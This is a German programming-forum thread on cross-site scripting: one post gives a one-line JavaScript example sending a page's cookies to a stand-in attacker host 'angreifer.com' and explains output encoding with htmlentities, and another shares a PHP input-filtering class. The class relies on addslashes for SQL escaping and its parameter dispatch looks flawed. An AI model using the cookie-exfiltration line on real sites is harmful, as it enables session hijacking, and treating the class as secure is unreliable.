Dear visitor, welcome to Coder Forum. If this is your first visit here, please read the Help. It explains in detail how this page works. To use all features of this page, you should consider registering. Please use the registration form, to register here or read more information about the registration process. If you are already registered, please login here.
|
|
JavaScript Code |
1 |
window.open("http://angreifer.com/?cookie="+document.cookies) |
dieser Code übergibt nun alle cookies der aktuellen seite an die website "http://angreifer.com". Anwender können nur wenig gegen XSS-angriffe tun, er könnte die bedienung wichtiger applikationen wie onlinebanking oder das einkaufen z.B. bei ebay von spziellen accounts aus tätigen und einen browser mit deaktiviertem javascript verwenden. Dies ist aber vorallem sehr mühsam und es gibt ja noch weiter XSS-Angriffe, die davon ausgeschlossen sind, z.B. Session-fixing. (funktionieren auch ohne javascript)
hast da schon mehr Möglichkeiten. Jede Ausgabe von Daten, die von einer externen Quelle stammen sei es eine Benutzereingabe oder seien es auf andere Art ins System gelangene Daten, ist bei der Ausgabe in HTML besonders zu behandeln. Alle Sonderzeichen müsen durch ihre html kodierung ersetzt werden, damit sie nicht mehr aktiv als Script Code oder als html-code interpretiert werden. Da man ja nicht immer weiss, was ein nun ein sinderzeichen ist, empfiehlt es sich das Kodieren von allen Zeichen ausser der Buchstaben und Ziffern. Die meisten webapplikationen frameworks bieten eine Möglichket, um Ausgaben entsprechend zu Kodieren. In PHP sind das zum Beispiel die Funktionen 'htmlentities()' und 'htmlspecialchars()'. Eine Ausgabe sollte in PHP also immer in dieser Form sein:|
|
PHP Quellcode |
1 2 3 |
$data = fetch_data_from_database($query); $quoted_data = htmlentities($data); echo $quoted_data; |
der benutzer in der Lage sein soll, bestimmte HTML konstrukte wie fettdruck oder farbveränderungen zu benutzen. Auch hier muss jede Eingabe und Ausgabe die DAten entsprechend der gewünschten Funktionalität anpassen. 
, habe mir das durchgelesen und weis jetzt auch besser bescheid wie sie das mit der SSID klauen machen. Eigentlich kann man in meine Seite weder SQL noch HTML Code einschleusen, (zumindest denke ich das, habe dafür diese Klasse geschrieben). |
|
PHP Quellcode |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 |
<?php class _REQUEST{ /* * Prüft einen Parameter von Typ Zahl auf seine Gültigkeit und gibt diesen zurück. * Bei ungültigem Parameter gibt false zurück. * @pnm Der Name des Parameters. * @min Minimale Größe der Zahl. (default false) * @max Maximale Größe der Zahl. (default false) * @force Bestimmt, ob der Parameter erzwungen werden soll. (default false) * Beim erzwingen des Parameters wird die nechst gültige Zahl auch aus einem String ausgelesen. */ static function Digit($pnm, $min = false, $max = false, $force = true){ $x = self::get_needed_parameter($pnm); $reg = "(-?[\d]+)"; if($force){ $reg = "/" . $reg . "/is"; }else{ $reg = "/^" . $reg . "$/is"; } for($i = 0;$i < preg_match_all($reg, $x, $list);$i++){ if(self::check_value_is_in_interval($min, $max, $list[0][$i])){ return $list[0][$i]; } } return false; } /* * Gibt einen Parameter von Typ Text zurück. * @pnm Der Name des Parameters. * @sql_mask Maskiert alle ' und \. (Verhindert SQL Injektionen) * @html_mask Maskiert einen HTML Code. (Verhindert JavaScript und ehnliches) * @nl2br Übersetzt neue Zeilen zu <br> für die richtige Darstellung in HTML. */ static function Text($pnm, $sql_mask = true, $html_mask = false, $nl2br = false){ $text = self::get_needed_parameter($pnm); if($html_mask){ self::mask_html($text); } if($nl2br){ $text = nl2br($text); } if($sql_mask){ self::mask_sql($text); } return $text; } /* * Überprüft, ob der Inhalt des Parameters in die Maske passt. * @pnm Name des Parameters. * @regex Maske in Form eines regulären Ausdrucks. */ static function IsMatch($pnm, $regex){ $strg = self::get_needed_parameter($pnm); if(preg_match($regex, $strg, $matches)){ return true; } return false; } /* * Filtert den Parameter durch eine Maske. * @pnm Name des Parameters. * @regex Maske in Form eines regulären Ausdrucks. */ static function Match($pnm, $regex){ $strg = self::get_needed_parameter($pnm); preg_match($regex, $strg, $matches); return $matches; } /* * Filtert den Parameter durch eine Maske mehrmals. * @pnm Name des Parameters. * @regex Maske in Form eines regulären Ausdrucks. * €Anzahl der gefundenen Übereinstimmungen. */ static function MatchAll($pnm, $regex, &$counter = 0){ $strg = self::get_needed_parameter($pnm); $counter = preg_match_all($regex, $strg, $matches); return $matches; } static function mask_sql(&$string){ $string = addslashes($string); } static function mask_html(&$string){ $string = htmlentities($string); } /* * Ersetzt eine Zeichenkette durch eine andere. * @search Die zu ersetzende Zeichenkette. * @replace Die einzusetzende Zeichenkette. * €subject Die zu durchsuchende Zeichenkette. */ static function replace($search, $replace, &$subject){ $subject = str_replace($search, $replace, $subject); } /* * Prüft ob eine Zahl im Interval zwischen einschlieslich zwei Zahlen liegt. * @min Die kleinste zulässige Zahl im Interval. (default false) * @max Die größte zulässige Zahl im Interval. (default false) * @val Die zu überprüfende Zahl. */ static function check_value_is_in_interval($min, $max, $val){ if(($min == false || $val >= $min) && ($max == false || $val <= $max)){ return true; } return false; } /* * Gibt den Inhalt eines Header Parameters zurück. * @pname Der Name des Parameters, welcher zurück gegeben werden soll. */ static function get_needed_parameter($pname){ if(__CLASS__ == "_GET"){ return $_GET[$pname]; }else if(__CLASS__ == "_POST"){ return $_POST[$pname]; }else if(__CLASS__ == "_SESSION"){ return $_SESSION[$pname]; }else if(__CLASS__ == "_SERVER"){ return $_SERVER[$pname]; }else if(__CLASS__ == "_FILES"){ return $_FILES[$pname]; }else if(__CLASS__ == "_COOKIE"){ return $_COOKIE[$pname]; } return $_REQUEST[$pname]; } } //WARNUNG:Klassennamen sind verbunden mit get_needed_parameter!!! class _GET extends _REQUEST{} class _POST extends _REQUEST{} class _SESSION extends _REQUEST{} class _SERVER extends _REQUEST{} class _FILES extends _REQUEST{} class _COOKIE extends _REQUEST{} ?> Verwendung: <?php $x = _POST::Digit('id'); ?> |